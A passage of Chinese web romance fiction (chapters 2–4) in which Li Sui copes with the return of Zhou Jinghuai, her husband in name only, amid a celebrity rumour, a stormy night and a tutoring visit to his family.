《备忘录被同步到他手机上后》 2、第 2 章 【家里换锁了?】 黎穗因这条时隔许久的消息而慌乱了一瞬,一种莫名的心虚感驱使她本能地左右看了两眼,确定四下无人,才低头回复。 简短解释了门禁系统升级的事情,她急匆匆关店回家。 不好意思让周景淮久等,黎穗斥巨资打了车,把通勤时间从平时的步行二十分钟,压缩到了五分钟。 刚进小区,黎穗的手机响起。 以为是周景淮等得不耐烦了,她也不太耐烦地看了眼,在发现是何潇雨后,表情瞬间转阴为晴。 黎穗一边按下接听,一边急匆匆往5幢赶。 “你到家没?”何潇雨开门见山,“我刚看天气预报,等会儿估计要打雷,要不要我去陪你啊?” 黎穗顿了顿脚步,抬头看向漆黑的夜空,如墨色四散,黑压压的,不见一颗星,大风刮过,带起几片落叶,一股世界末日欲来的趋势。 这才三月,就要打雷了? 黎穗攥紧了手机:“没事,今晚家里可能有人。” “有人?”何潇雨愣了愣才反应过来,“哦对!我刚看到热搜了,你那塑料老公回来了?我说他也太过分了吧,两个月不联系,结果回来的消息还得你自己在网上看,还是跟其他女明星的绯闻。” “小雨……我们不是正常的夫妻关系。”黎穗心平气和,甚至有些暗喜,“他要真谈恋爱,那再好不过了。” 黎穗的婚结得突然,何潇雨对于细节一概不知,之前考虑到她状态不好,一直没敢问,此刻再提起,她实在忍不住脑洞大开:“你这么巴不得他爱上别人,那当初为什么结婚啊?难不成,是强取豪夺?!” 黎穗缩了缩脖子:“也……可以这么说。” “我靠,周景淮这么刑的吗?姐们,咱不能向恶势力屈服啊!” “是我强取豪夺。” “……啊。”何潇雨憋了很久,终于憋出一句,“那你肯定是有正当理由的,怪不得你。” 话音刚落,不远处路灯下一个熟悉的身影窜进余光。 黎穗定睛一看,被她强取豪夺的小可怜正一派悠闲地蹲在门口旁边的花坛边,拿着一根不知道从哪里拔来的狗尾巴草,逗弄着眼前的流浪猫。 估计是刚泥坑里打过滚,小猫身上全是干涸的泥浆,看不清原貌,但那双绿色的眼睛,却跟绿宝石似的,在昏黄的路灯下散着熠熠的光。 黎穗压低声音和何潇雨道了别,小跑到周景淮面前。 小猫敏锐地察觉到生人靠近,一溜烟就钻进了不远处的草丛。 两个月没联系,黎穗本来还有些不知道说什么,正想着要不客套两句,周景淮却在这时候起身,把狗尾巴草往垃圾桶里一扔。 黎穗这才看清,他的打扮和视频里截然不同,应该是去过公司了,西装革履的他,看起来比视频里成熟不少,尤其是搭配鼻梁上的半框银边眼镜。 这一瞬间,她发现,她和周景淮之间,有些东西是刻在dna里的。 她几乎脱口而出:“你这一天是去天上上的班吗?” 周景淮轻笑一声,取下眼镜,慢条斯理地折起镜架,那条当初两家人一起去寺庙祈福时,被老板忽悠买的黑色手绳,被包裹在黄色的暖光下。 晚风吹过,将他清冽的调侃声完整地吹进了黎穗的耳朵里。 “两个月不见,你骂人还是这么委婉。” 虽说天上一天,地上十年。 但…… “我没有骂你老了十岁的意思,我是想夸你,帅得跟去天上吸了仙气一样。” 一直到家门口,黎穗还在为自己的脱口而出找补。 周景淮淡淡瞥她一眼,眼里写满了几个大字——你觉得我信吗? 黎穗也不废话了,反正这本来就是她和周景淮的日常。 “好吧,我就是觉得,你还是视频里那样比较好看,这么西装笔挺的,看起来有班味了。”她低声嘟囔着,俯身不太熟练地操作门禁系统。 身后传来周景淮不太在意的语气:“看到视频了?” “嗯。” “没什么想问的?” 黎穗闷头操作着按键,滴滴声不断作响,听到这,她才停下动作,仰头看他时,眼尾微微上翘,眼里的期待完全不加隐藏:“你去马尔代夫,做攻略了吗?能不能分享一下?我和小雨之前也想去来着,就是觉得麻烦。” “……没有。”周景淮的指关节敲了敲门禁,似乎是在催促她快点儿。 “哦。”终于成功进入录入系统,黎穗退开身,招呼他把人脸录入。 “滴”一声成功后。 黎穗推门而进。 大圣估计早就听到动静,已经乖巧地蹲在了门口,纯白的毛发柔顺光亮,见到周景淮,一脸激动地朝他身上扑去。 被周景淮摸着脑袋安抚后,它又撒娇似的呜咽几声,用脑袋蹭着他的裤管。 黎穗忘了,虽然她和周景淮磁场不合,但因为她住宿在学校,爷爷身体又不好,大圣有很长一段时间一直寄宿在周家,和周景淮倒是合得很。 周景淮蹲下,一手搭在大腿上,一手揉了揉它的脑袋:“胖不少啊你。” 黎穗打开鞋柜才想起这是他第一次来这里,而家里只有周景淮的母亲周芷玉和何潇雨来过,只剩下两双女士拖鞋。 “呃……”黎穗又把鞋柜关上,“别换了吧,我改天去买一双。” 周景淮点头,还在继续逗狗。 黎穗这才想起正事儿:“你……过来是为了?” 周景淮头都没抬:“来找个手机,妈说在你这儿。” 手机? 黎穗想起来,确实有一个。 两个月前,她刚接手爷爷的小店,却总是遇到来搭讪的男生,有的还执着到拒绝都不听,她嫌烦,就想着索性拿个不用的手机号敷衍过去,反正星光市集90%以上的顾客都是外地游客,说不定等他们发现自己被骗的时候,早就在飞往另一个城市的飞机上了。 她本来想去重新办个手机号的,但周芷玉知道后说没必要多花冤枉钱,家里恰巧有个没人用的旧手机,号也懒得注销,给她正好。 黎穗就接受了这份好意。 她很快从茶几下的抽屉里翻出了手机和充电器:“你要干妈……” 想到俩人此刻的关系,又改口:“你要妈的手机干嘛?” “这是我的手机。”周景淮伸手接过。 “……啊?”黎穗愣了愣,“妈没和我说。” 黎穗本以为,周景淮拿了手机就该走了,却没想到他顺手把手机充上了电。 没事,可能充完电就走了。 黎穗这么想着,就没再管他,坐在一侧的沙发上摸摸肚子。 饿死了。 她往沙发上一躺,打开外卖软件,随口问了句:“我点个晚饭,要给你也点一份吗?” “不用。”周景淮随手把眼镜放在一旁的餐桌上,解开衬衫袖扣,慢条斯理地挽起袖子,“冰箱里有东西吗?” “你要自己做?你会吗?”以前从来没见这大少爷沾过阳春水啊。 “最近学了点。” 初学者,指定不怎么好吃,而且黎穗记得,冰箱里没东西,没什么发挥余地。 “那你做你自己那份吧,我想吃海鲜面。” 周景淮没说什么,黎穗也没再管他,在外卖app上找了一圈,终于找到一家卖海鲜面的餐厅。 一边是厨房里溢出的饭菜香气,一边是外卖迟迟不到的饥肠辘辘。 黎穗眼看着外卖员送了一家又一家,又不好意思催促,第一百零八次点开外卖软件后,她终于接到了外卖员的电话。 她开门拿了外卖,再回来时,餐桌上已经摆上了一碗热气腾腾的阳春面。 虽然受限于食材,面上只有青菜和鸡蛋,但看起来浓郁的汤汁,依旧令人胃口大开。 但是没关系,相比而言还是海鲜面比较吸引她。 黎穗兴致冲冲地掀开盖子,一看,眼里的期待荡然无存—— 大概是耽搁太久了,店家又没有把面和汤底分开装,此刻面坨得几乎把汤汁吸干,看起来干巴巴的,令人毫无食欲。 黎穗的视线往桌上瞟,不动声色地咽了咽口水。 她在他对面坐下,客气地试探了一句:“哥,你这好吃吗?” 黎穗很少喊周景淮“哥”,一般只有一种情况,讨好的时候,比如现在。 奈何周景淮油盐不进,低头吃了口后,悠哉悠哉地回道:“还行。” “……” “应该没你的干拌面好吃。” “……” 她就知道,小人报仇,十年不晚。 一句老,他记到现在。 黎穗心里的小人儿已经很久没有跳出来想跟什么人决一死战了,周景淮一回来,果然又开始磨刀霍霍。 但是很奇怪的。 这一刻,她居然还有一种“终于来了”的畅快感。 就像有时候,黎穗出门特地带了伞,却迟迟不下雨,就在她以为白带伞了的那一刻,突然暴雨倾盆。 不吃就不吃。 黎穗拆开筷子,拌面的动作带着明显的怨气,正卷起一筷子准备入口的时候,一只骨节分明的右手伸过来,盖着碗口,将她面前的碗移开了。 “自己去盛。”周景淮面不改色道。 “你让我盛的嗷。”黎穗果断扔下筷子,熟门熟路地去厨房,果不其然,锅里还有一半面没有盛出来,像是未卜先知她的海鲜面一定会翻车一样。 晃了晃脑袋,黎穗心满意足地咬下一口,顿时眼睛一亮。 她竟不知道,这大少爷居然有点东西。 黎穗有边吃饭边玩手机的习惯,是长期独处养成的,此刻和周景淮无话可聊,她就如往常般刷起了微博。 一看才发现,微博已经变了天。 骤雨科技的简短澄清,说明了周景淮此次去马尔代夫,只是公司组织的高管团建,而他因为一些私人原因,提前了一天回国。 与苏吟心一前一后出机场,完全只是偶然,俩人甚至根本不认识。 苏吟心方也证实了这一点。 恋情热搜早已消失,至于对造谣营销号的追责,则都交给了律师处理。 一场闹剧,到此差不多落下帷幕。 并不意外。 黎穗无声叹了口气。 “你看起来还挺遗憾?” “啊?”黎穗抬头,对上周景淮看好戏似的目光,于是理不直气也壮,“没有啊,我只是在替你担心。” “哎。”她叹了一口更长的气,“妈最讨厌这些花边新闻了,这几天她又正好在家,要是问起来,你可别跟她吵。” “你担心晚了。” “啊?吵过了?” “没吵。” 黎穗松了口气:“那就好。” 周景淮说:“是单方面的辱骂,外加扫地出门。” “好惨……”黎穗象征性表示同情,顺口问了一嘴,“那你晚上还是住之前的房子吗?” 周景淮轻飘飘道:“那套房子前不久卖了。” “啊?那你住哪儿?” 周景淮直勾勾看着她,眉眼一弯,似乎在说:你觉得呢? 这房子,虽然写的是她的名字,但其实是周母买的婚房,是周家的产业。于情于理,都没有不让他住的道理。 黎穗转念一想,没事,他白天上班,肯定不在家,那她只要把小店营业时间调整到晚上,就能保证俩人一天都碰不到什么面。 黎穗很快调理好了自己的心态。 “行吧,正好我睡的是客房,主卧还空着。” “我不住主卧。” “为什么?”这人怎么事儿这么多。 周景淮拿起一旁的杯子,不急不缓地喝了口水:“主卧朝南,算命的说我近三年不能住朝南的房间。” 黎穗翻了个白眼:“你听他瞎扯……” “否则全家破财。” 黎穗立刻改口:“我搬!” 法律意义上的家人,是不是也算家人? 黎穗可不能冒这种风险。 微博还停留在热搜界面,说完,黎穗正打算退出,手指不小心一滑动,热门微博突然变了—— 我嗑的cp怎么都be:【#周景淮苏吟心不认识#哈哈,谁有我惨,刚让画糖画的小姐姐给我写了祝福,还没吃就看到了澄清!不!!我不信!!!小姐姐都祝我cp成真了!怎么会不是真的呢!!!】 图片里,女生举着“淮恨在心cp成真”的糖画,配上了一个大哭的表情。 底下还带了星光市集的定位。 黎穗偷偷瞟了眼对面的人,突然如坐针毡。 就算不是真夫妻,但看到自己老婆祝自己和别人cp成真,大概也会感觉不爽吧? 黎穗的喉咙口仿佛堵着一块棉花,莫名有点心虚。 不过见周景淮没什么反应,她的心又放下了一些。 她接手爷爷的小店,是近两个月的事情,他或许都不知道,而且这条微博,才几百个转发,他应该,没那么巧看到吧? 黎穗在心里默默安慰自己。 随即按灭了手机。 这房子之前就黎穗一个人住,她几乎不做饭,自然也没有洗碗机,一顿饭后,黎穗秉持着厨师不洗碗的原则,本想把这工作揽下,但刚起身,又被周景淮按着脑袋压了下去。 “就这两个碗,别等会儿一个都没了。” 她的破坏力哪有这么强。 黎穗撇撇嘴,笑眯眯道:“那多不好意思啊,我总不能干坐着吧。” “也是。” 黎穗顺着周景淮的视线,看向不远处的柜子,上面放着一套做糖画的工具,是以前爷爷非要教她时买的,可惜后来就闲置了。 周景淮云淡风轻道:“给我也画一个吧。” 吃人嘴软,黎穗自然没有拒绝的理由,她立刻起身,去把工具搬到了餐桌上,还颇为讲究地戴了口罩和手套。 匀速搅动着锅里的糖浆,黎穗不忘提前打预防针:“我只会画十二生肖啊。” “写几个字吧。”周景淮说。 “可以啊。”黎穗摆弄着手里的铜勺问,“写什么?” “那句话怎么说的来着?”周景淮弯了弯那双精雕细琢似的桃花眼,恍若狡猾的狐狸,却暗藏着狗脾气。 “什么都嗑,只会害了你。” 黎穗:“……” 3、第 3 章 他让写什么就写什么? 黎穗当然没这么听话。 她右手一挥,龙飞凤舞地写了一串,除了嗑字比较清晰以外,其他几个字歪歪扭扭,几乎看不清。 “草书。”黎穗满脸真情实感,甚至带着几分自豪的意味,拿着竹签把图样怼他面前,“看看,有没有一点草圣张旭的风范?” 周景淮伸手接过,认真评价:“有点狂徒张三的风范。” “不是你的错。”黎穗遗憾摇头,拍拍他肩膀,“是这个物欲横流的社会,害你忽视了对精神审美的追求。” 周景淮:“……” “什么都嗑只会害了你”和“好甜我都想嗑你俩了”,都是中文字、都是九个字,甚至有四个字一模一样。 也没差多少。 黎穗心满意足地去收拾行李了。 虽然在这个家里住了三个月,但黎穗的行李非常少,除了衣柜里的衣服,就是书桌上堆着的一些杂物。 就跟住酒店似的,不到二十分钟,她就把所有东西搬到了主卧。 主卧的床,确实比客房舒服,空间也更宽敞。那算命的,莫不是周景淮的竞争对手为了让他不好过,故意请来的? 黎穗大字型躺在床上,天马行空地想。 轰隆—— 窗外一声震耳的雷鸣,打碎了黎穗的惬意,沉浸在自己思绪里的她,本能地浑身一颤。 抬眼看去,窗帘缝隙中,亮光转瞬即逝。 暴雨随即倾盆而下,哗啦哗啦的,让人觉得这房间仿佛是一个出不去的笼子,压抑得令人窒息。 早知道就不逞强,去找小雨一起睡了。 她深深呼出一口气,从抽屉里翻出许久没用的耳塞戴上,然后把自己缩进被子里。 本来是真挺困的,但她似乎还是高估了自己,也高估了这对耳塞的隔音程度。 轰鸣的雷声依旧震耳。 闭上眼睛,脑海中全是一些断断续续的画面。 争执、妥协、绝望、崩溃。 其中最完整的,同样是一个下雨天。 她坐在医院楼梯间的台阶上,情绪彻底崩塌,仰头看着眼前的周景淮问: “哥,干妈之前说,我爷爷对你家有大恩,不管想要什么,你们都会尽力满足,对吧?” 不等周景淮有所反应,她伸出手抓住周景淮的袖子,指尖轻颤,却故作镇定地威胁: “那我要你跟我结婚。” …… 心跳一声一声,频率越来越快,黎穗蓦地睁开眼睛,再次把灯打开,脖颈处湿漉漉的,溢出了一层薄汗,黏腻得令人难受。 手机重新被她按亮。 反正小店天天亏本,黎穗几乎瞬间决定了,今晚通宵,明天闭店补觉,但就在下一秒,她看到屏幕上有一条来自周景淮母亲的消息。 干妈:【穗穗,景丞的家教老师明天临时请假,你看有没有空来家里帮忙辅导一下他的作业?】 周芷玉的请求,她没有拒绝的道理。 算了,一天少睡点应该也不会死。 黎穗默默安慰自己,低头回复消息:【有空的,我中午过去。】 干妈:【还没睡啊?对了,景淮在家吗?】 黎穗:【在的。】 干妈:【那就好,今天这事儿不管真的假的,就是这臭小子考虑不周到,我已经替你骂过他了,你要是还生气,就揍他。】 干妈:【明天喊他也回来,我和你一起教训他。】 黎穗本想说不介意,又觉得这好像不是身为妻子面对丈夫绯闻时该有的态度,于是只乖巧地回了声“好”。 聊天结束。 她把枕头竖靠在床头,打开视频网站,做好了熬夜的准备。 但综艺只看了不到五分钟,就被敲门声打断。 黎穗掀开被子,走过去开了门,周景淮看起来刚洗了澡,头发还半湿着,穿着一件黑色睡衣,垂坠感十足的材质,勾勒着平直的肩膀线条。 黎穗愣了愣:“有事吗?” “电视遥控器在哪儿?” “电视?”八百年没开过电视机了,黎穗一时也有些迷茫。 她去客厅翻了一遍,终于从柜子的犄角旮旯里找到了遥控器,也不知道自己是什么时候塞进去的。 黎穗按下开机键,随口问:“你要看电视啊?” “无聊,随便看看。”周景淮悠闲地往沙发上一坐,大圣很自觉地窜上去,霸占了他大腿的位置。 这个小没良心的。 周景淮一回来,就舔狗似的往上贴。 黎穗无语地抬眼看了眼时间,就快零点了,无聊? 她把遥控器扔到他旁边的沙发上,正打算回房间,耳边又传来一声雷鸣。 她顿下脚步,突然又改了主意。 在侧面的沙发上坐下,黎穗捞过一包薯片,撕开拿了两片:“你要看什么呀?” 带着点刻板印象,黎穗本以为周景淮肯定会选一些科幻或悬疑片,结果意外之喜,周景淮几经挑选,最后选了一部口碑颇高的喜剧片。 黎穗没看过这电影,不知不觉还真沉浸到了剧情里,就连窗外的雷声,也被电视机里传出的交谈、打闹声掩盖。 黎穗咳咳笑了两声,视线一瞥,发现周景淮看得还不如她专心,居然还在低头看手机。 看着那张轮廓分明的侧脸,她突然想起了刚才那个宛如倒带一般真实的梦境。 时隔三个多月,清醒过来之后再回想,黎穗真觉得当时的自己简直疯了,这种冲动的行为,不仅让她现在莫名其妙成了已婚人士,对于周景淮来说,更简直是一种道德绑架。 不知道是不是深夜安静的氛围,令人容易多想,黎穗的心头第一次浮起些许愧疚。 她想,要不然,说说离婚的事吧? 虽然热搜不是真的,但现在已经时过境迁,再耽误他找女朋友也不合适。 可惜张了张嘴,还没开口,一道突兀的手机铃声,让她把就在嘴边的两个字又咽了回去。 铃声,来自于周景淮那个旧手机。 黎穗瞟了眼,是一个没有备注的陌生号码。 不知道为什么,她心头涌起一丝不详的预感,刚伸手想拿,周景淮却先一步按下了公放。 来电者的嗓子眼里仿佛充了气,一股股气泡往外冒,带着刻意的低沉撩劲:“嗨~美女,我是昨天管你要联系方式的那个。” 这声儿,比电影刺激多了。 周景淮拿着遥控器按下暂停,在安静的客厅里,对方那82年产似的老气泡音显得越发浑厚有力:“还记得我吗?微信怎么不通过啊?” 宛如一盆凉水从头浇下,黎穗尴尬地挠了挠脸。 她本来想着,反正那旧手机常年关机,他们就算拨打也不会有人接,加微信也不会有人通过。 谁能想到,周景淮突然来把它要回了。 这头没有回应,电话那头的人却并没有放弃,笑着继续道:“接了怎么不说话?害羞啊?要不要出来一起逛一逛?” 黎穗瞟了眼周景淮,只见他这才哼笑一声,不咸不淡地回了一句: “抱歉,她今天遛过狗了。” “……” 电话被挂断,客厅里安静如真空,唯有窗外淅淅沥沥的雨声传入耳畔。 周景淮像是什么都没有发生过,也不问,也不说,把手机往茶几上一扔,又悠闲地看起了电视。 这一刻,黎穗突然意识到,他和自己互怼的时候,完全是小打小闹。 对外人,才是真的,杀伤力满分。 手里的薯片袋子哗哗作响,黎穗鼓鼓掌,感慨道:“以后你谈恋爱了,要不帮你女朋友买个意外险吧?” 周景淮抽空睨她一眼:“怎么?” “我怕她刚跟你亲完嘴,就一命呜呼了。” “有道理。”周景淮不怒反笑,“那我找个同样嘴毒的,亲完一起死。” 黎穗:“……” 还真说不过他。 黎穗默默又从口袋里掏了两片薯片,咔嚓咔嚓吃着,却后知后觉意识到好像有哪里不对劲。 不对劲在—— 他的表现,似乎太平静了,不好奇、不追问,就像,一切都在意料之中一样。 黎穗往前凑了凑身子:“你……不问我这谁啊?” “猜得到。”周景淮撑着下巴,目光注视着电视机屏幕,不紧不慢道,“无非就是见色起意的顾客。” 黎穗不由赞叹:“还挺聪明,一下就猜到了。” “倒也不是一下。”周景淮投来一个意味深长的眼神,“这是今晚第五个。” 黎穗:“……” * 电影播完的时候,雨也停了。 站在阳台往外看去,夜色沉沉,昏黄的路灯,却给人间镀上了一层温暖的色调。 也许是因为雷声的停歇,也许是因为实在太晚了,黎穗一夜好眠,醒来时,已经临近中午。 她素面朝天地揉着眼睛,经过门大开着的客房,顺势往里看了一眼,落地窗敞开着,被子铺得很整齐,房间里早已没有了周景淮的身影。 也是,他这种工作狂,应该一早就出门了吧。 黎穗径直走向冰箱,想看看有没有什么吃的随便对付一下,但一股沁人心脾的米香味,让她瞬间停下了开冰箱门的动作。 她回头嗅了嗅,发现餐桌上居然放着一个小电饭煲,不由眼神一亮。 一开盖,里面果然还温着海鲜粥。 “肯定是自己煮了没吃完,周景淮才没这么好心。”黎穗碎碎念着,但还是很能屈能伸地去厨房拿碗,给自己盛了一碗。 也不知道他到底在帝都报了什么美食烹饪班,明明去年的时候,干妈还经常吐槽他不学做饭,老吃三明治之类的没有营养。 温度适中,黎穗一口接一口,不到三分钟就把一碗粥喝完了。 把干干净净的空碗往前一推,她刚拿起手机想刷刷微博,何潇雨的视频邀请就来了。 黎穗按下接听,把手机竖靠在纸巾盒上,嘴里含着一颗奶糖,笑眯眯问:“怎么啦?我的大小姐。” 何潇雨很明显愣了一下,有些惊喜:“我本来以为你昨晚有逞强的成分,想问你要不要出来玩的,现在看,好像是不用了?” “为什么不用了?” “因为你看着心情不错啊,上次晚上打雷,第二天你就跟被霜打了的大白菜似的,蔫儿得扶都扶不起来,我还以为你今天也会这样,看来是我多想了。” 黎穗自己完全没意识到,直到听了何潇雨的话才发现,从昨天到今天,因为周景淮的突然回家,乱七八糟的情绪涌进脑海,好像真的冲散了她对雷雨夜的恐惧。 正在愣神之际,“咯哒”一声,突然有人从洗手间里走了出来。 黎穗吓了一跳,差点从椅子上蹦起来:“你不是出去了吗?” “谁说的?”周景淮瞟她一眼。 “你今天不上班?”黎穗朝何潇雨使了个眼色,匆匆挂断视频。 “嗯。” 该死,所以他那粥,真是煮给他自己喝的?! 趁着他还离得远,黎穗心虚地把眼前的空碗和筷子藏到了旁边的花瓶后面,用纸巾盒压住。 未曾想周景淮这人眼光如炬,走过来打开电饭煲沉默了几秒后,幽幽开口: “粥好像少了。” ? 这都能发现? “啊。”黎穗的眼神四处乱飘,却故作事不关己,“可能老鼠喝的吧,前两天我看到家里好大一只老鼠。” “这老鼠——”周景淮的右手撑着餐桌,左手抽了张纸巾轻轻蹭过她的唇角,歪着脑袋,懒洋洋道: “好像没有处理犯罪现场。” 4、第 4 章 黎穗装作无事发生,接过纸巾擦了擦嘴角。 下一秒,她熟练地转移话题:“那个,哥……我今天要回老宅给丞丞辅导功课,妈是不是也让你回去了?” 周景淮:“嗯。” “那你……注意点。”黎穗放轻声音提醒,“别露馅儿了。” 周景淮拉开对面的椅子坐下,姿态散漫地靠着椅背,眼皮微掀:“这话应该对你自己说吧?” “我怎么了?” 周景淮打开电饭煲,往自己的碗里盛了半碗粥,语调如聊家常般随意:“一口一个哥的,你们那儿的习俗,管结婚证上的另一半叫哥?” 她默了默,按照俩人的关系,起码在他母亲面前,叫哥确实不合适。 其实想想,老公和哥,都只是嘴唇一张一合的事情而已。 “老、老、老……” 黎穗做好了充分的心理建设,挺直脊背,看起来中气十足,思维却在“老公”和“哥”之间飞速游移,以至于一时间秃噜了嘴。 “老哥!” “很好。”周景淮轻笑一声,点头表示赞许,“骂得比昨天直白。” “……我等会儿自己练练。” 黎穗的话刚说完,周景淮大概意识到没拿勺,又起身进了厨房。 “真没那么容易改口的。”黎穗不服输地跟在他身后,“不信你也试试,喊我一声。” 挺拔的背影一动不动,黎穗像是揪住了他的把柄,洋洋得意:“看吧,你也叫不出口吧?” 周景淮回头看她一眼,手往碗筷桶里抽了样东西,转身回来,黎穗防御力满分地往后一躲,紧紧贴在了墙壁上。 周景淮微微俯身,靠近她耳边,轻喊了一声:“老婆。” 姿态很自然、语气很熟练。 然而…… 黎穗低头扫了眼他的右手,看好戏似的,眉眼间都带着笑:“周景淮,你们那儿的习俗,用一根筷子喝粥?” 周景淮:“……” * “筷子,一般成对使用,隋唐时也称箸或筯。” 周家老宅里,从平板中传出一道提示音。 张姨笑眯眯地看着沙发上正在玩游戏的小孩儿:“丞丞,天气这么好,要不要出去走走?” 周景丞抬眼看向落地窗外,两秒后,又把头转了回来:“不。” 张姨并不意外。 虽然同父同母,虽然年仅十一岁,但周景丞的性格,和周景淮完全不一样。 她在周家工作六年了,和周景丞几乎每天都能见到,但听到的话永远都是那么几句。 最多的是,嗯和不。 周芷玉曾担心过,是不是那年意外落水的后遗症,特意带了他去医院检查,但结果显示一切正常。 医生说,他可能就是单纯懒得搭理这个世界。 无奈叹了口气,张姨又一次看向落地窗外,在看到一个穿着白色毛衣的身影时,她不由心生暗喜:救星来了! 她赶紧过去开门,给黎穗拿好了拖鞋:“在客厅,还是去书房?” 黎穗笑了笑,温柔又乖巧:“都行,客厅也可以。” “好,那我去切点水果。”张姨拿起架子上的围裙,转身进了厨房。 眼前像是一个迷你版的周景淮,五官很相似,只不过气质少年老成,看着太过冷淡。他低头玩着ipad,像是压根没察觉到有人来了,或者说,是根本不在意。 黎穗在他身边坐下,游戏提示音异常清晰地传进了黎穗的耳朵—— “游戏开始!请努力逃出去吧!” 黎穗默不作声地看了一会儿,看到屏幕上跳出一连串泄气的提示语: “这里什么都没有哦!” “这里什么都没有哦!” “这里什么都没有哦!” 一看就是在闷头乱点屏幕寻找线索。 黎穗清了清嗓子,轻声细语,试探着开口:“我能和你一起玩吗?我们玩一会儿再开始。” 周景丞抬头看了她一眼,就在黎穗以为他要说“不”的时候,他居然慢慢点了点头。 不知道是嘴硬心软,但是单纯讨厌补课。 反正黎穗立刻凑了过去。 周景丞在玩的是密室逃脱游戏的第16关,已经属于中高难度,黎穗有些惊讶:“这里面的关卡,不少会涉及高中诗词和高等数学知识,你还没学,怎么解的?” 周景丞的右手食指戳了戳屏幕,黎穗低头一看,里面的兄妹npc正在对话。 “哥哥,我们能出去吗?” “放心。” 黎穗懂了。 “那你今天不用找你哥了,姐姐帮你。” 周景丞眼里满满的怀疑,似乎在说:你真的行? 但这种怀疑,在两关过后,彻底消失无踪。 黎穗很明显感觉到,依靠着这点年龄和学历的优势,周景丞对她的好感,上升到了一个新的高度。 当大门开启,一束耀眼的白光照进黑暗的房间,黎穗嘿嘿笑了两声,自夸道:“姐姐厉不厉害!” 周景丞点了点头:“嗯。” “是不是比你哥厉害!” “不。” “……”这小子,还挺兄控。 黎穗没多说什么,拿起茶几上的牛奶,若有所思地喝着。 周景丞这小孩儿,简直比周景淮还难搞,史无前例,黎穗和一个人接触了不知道多少次,听到的话反反复复就是那几个字。 直到后来,黎穗发现他好像挺喜欢玩古风游戏,比如一些古代背景的密室逃脱、还有宝物记之类,为了拉近距离,她有空的时候也会玩一玩。 目前来看,策略还算有效。 趁热打铁,俩人又点进了下一关,这一关是古墓主题,难度更升一级。 太沉浸在游戏里了,在第五次解错答案后,黎穗脱口而出:“靠……” 话音落下的一瞬间,客厅里陷入死寂。 靠。 肯定是昨晚跟周景淮接触多了,一时没绷住。 黎穗极其缓慢地偏过头,周景丞正瞪着一双黑亮的眼眸,疑惑地看着她。 黎穗很清楚这眼神是什么意思,就跟她看恐怖片,看到漂亮女主角突然幻化成一头猪时的表情差不多吧。 毕竟在此之前,她在除周景淮外的周家人面前,从来都是乖巧可人、轻声细语的。 “靠……我们俩,估计是过不了这关了。”黎穗及时挽尊,微笑道,“要不你还是求助你哥吧?” 周景丞看上去信了,点了点头,截图屏幕发给了周景淮。 很快,周景淮就发过来一串手写的解答过程,笔锋凌厉、过程清晰。 周景淮:【不是在补课?怎么不问姐姐?】 周景丞:【姐姐没解出。】 ? 黎穗还来不及说什么,又见周景丞发出去一句:【都爆粗了也没解出。】 黎穗:“……” 老天,埋了她吧。 你小子生活中沉默寡言,线上倒是怪伶牙俐齿的。 “那个,丞丞。”黎穗清了清嗓子,为自己辩解,“姐姐刚才是太投入了……下次会注意,绝对不说了。” 周景丞偏头看向她,除了“嗯”和“不”以外,黎穗难得听到了不一样的回答: “说也没关系。” 黎穗怔了怔,感觉心口好像被外头春日的暖阳照耀着,莫名暖乎乎的,盯着眼前这张神似周景淮的小脸,不多时,她突然想起一件重要的事。 仗着此刻周景丞对她的好感度前所未有的高,她压低了声音,偷偷问:“对了,丞丞,你哥这次回辅川,要待几天啊?” 周景丞正闷头解密,闻言,点了点屏幕。 屏幕上是一间古色古香的卧室,床榻上整整齐齐放着一床被子。 而周景丞的手指,就停留在那一床被子上。 一床。 一晚床。 “一、天?” 那今天吃完晚饭,岂不是就能和他说goodbye了? 黎穗双眸一亮,心想原来是短暂停留,难怪他昨天虽然住下,却连行李都没带,但就在她暗喜的时候,周景丞突然摇摇头,面无表情地吐出三个字。 “一、被、子。” “……?”黎穗嘴角一抽。 本来以为你少年老成,没想到你谐音速成。 * 俩人补习到傍晚时分,周芷玉回了家。 作为业内鼎鼎有名的经纪人、造星女王,周芷玉一年大概有300天都在外地工作。 偶尔回家,基本也就是和一些阔太太们吃饭逛街。 果不其然,她手里又提着几个硕大的购物袋,看起来心情很不错。 刚进门,周芷玉换上拖鞋,就兴冲冲朝俩人喊道:“穗穗!丞丞!快来!看妈给你们买的礼物!” 俩人暂时放下手里的笔,迎了上去。 给周景丞的是一份钢铁侠玩具,周景丞接过,略显生疏地说了声“谢谢妈妈”,就抱着玩具回了客厅。 周芷玉无声叹了口气,男孩子就是没意思。 她转头拉过黎穗,打开购物袋,从里面取出一双黑色绒面尖头高跟鞋,偏成熟性感的设计,看起来价格不菲。 “快试试!”周芷玉把鞋子塞她手里。 “好。”黎穗脱了脚上的拖鞋,小心翼翼穿上,脚趾被挤在一起,带着极大的陌生感。 黎穗低头看了眼,笑意盈盈夸道:“妈,好好看,大小也正好。” 黎穗本身长得白,在大片黑色的衬托下,脚背更显得肤如凝脂。 “是吧!”周芷玉满脸欣慰,“我在店里一眼就看中了,你喜欢吗?” “当然喜欢。” 话音刚落,突然有人推门而进—— 是周景淮。 他上半身穿了件黑色薄卫衣,下半身是垂坠感的同色直筒运动裤,两侧装饰着白色条纹,搭配着黑白相间的运动鞋,少年感十足。 幸好排练过,黎穗脱口而出:“老公,你觉得好看吗?” 他不动声色地看了她一眼,目光显得意味深长:“还行。” 周芷玉虽然已经把昨天的事情翻篇,但也没有表现得多热络,轻斥了句“没品位”,便又和黎穗聊起了这双鞋有多难买。 黎穗的余光瞟了眼不远处安静做作业的周景丞。 周芷玉对她很好,甚至,好像比对两个亲生儿子更好,黎穗感谢的同时,却也能感受到周芷玉和两个儿子之间的生分。 这让她时不时觉得抱歉,也不确定,周景淮刚才的眼神,是不是带着点因此而不悦的意思。 去一旁换回拖鞋,回来时,周芷玉和周景淮正在聊公司的事情。 周芷玉在她面前毫无架子,但一个靠一己之力走到今天,被称为“女王”的人,也绝非等闲之辈。 光是听他们聊起公司的那些事,黎穗就有些云里雾里,这属实超过了她一个文科生的涉猎范围。 时隔许久,黎穗终于从无数专业名词里,抓到一句听得懂的。 “帝都的事情,都处理好了?” “嗯。”周景淮简单应了一声。 “那就好。”周芷玉的神色略显严肃,“哪有你这样做人老公的,一出差就是两个月。想当初我一时没注意,要不是穗穗爷爷救了丞丞,我们家可就真的塌了,所以她爷爷还在世的时候,我就答应过他,一定把穗穗当亲生女儿对待。你要是再让她受委屈,你看我不打死你。” 黎穗赶紧微笑着替他解释:“妈,没事的,工作比较重要,男人可不能为了爱情耽误事业。” 开玩笑,他要是不出差了。 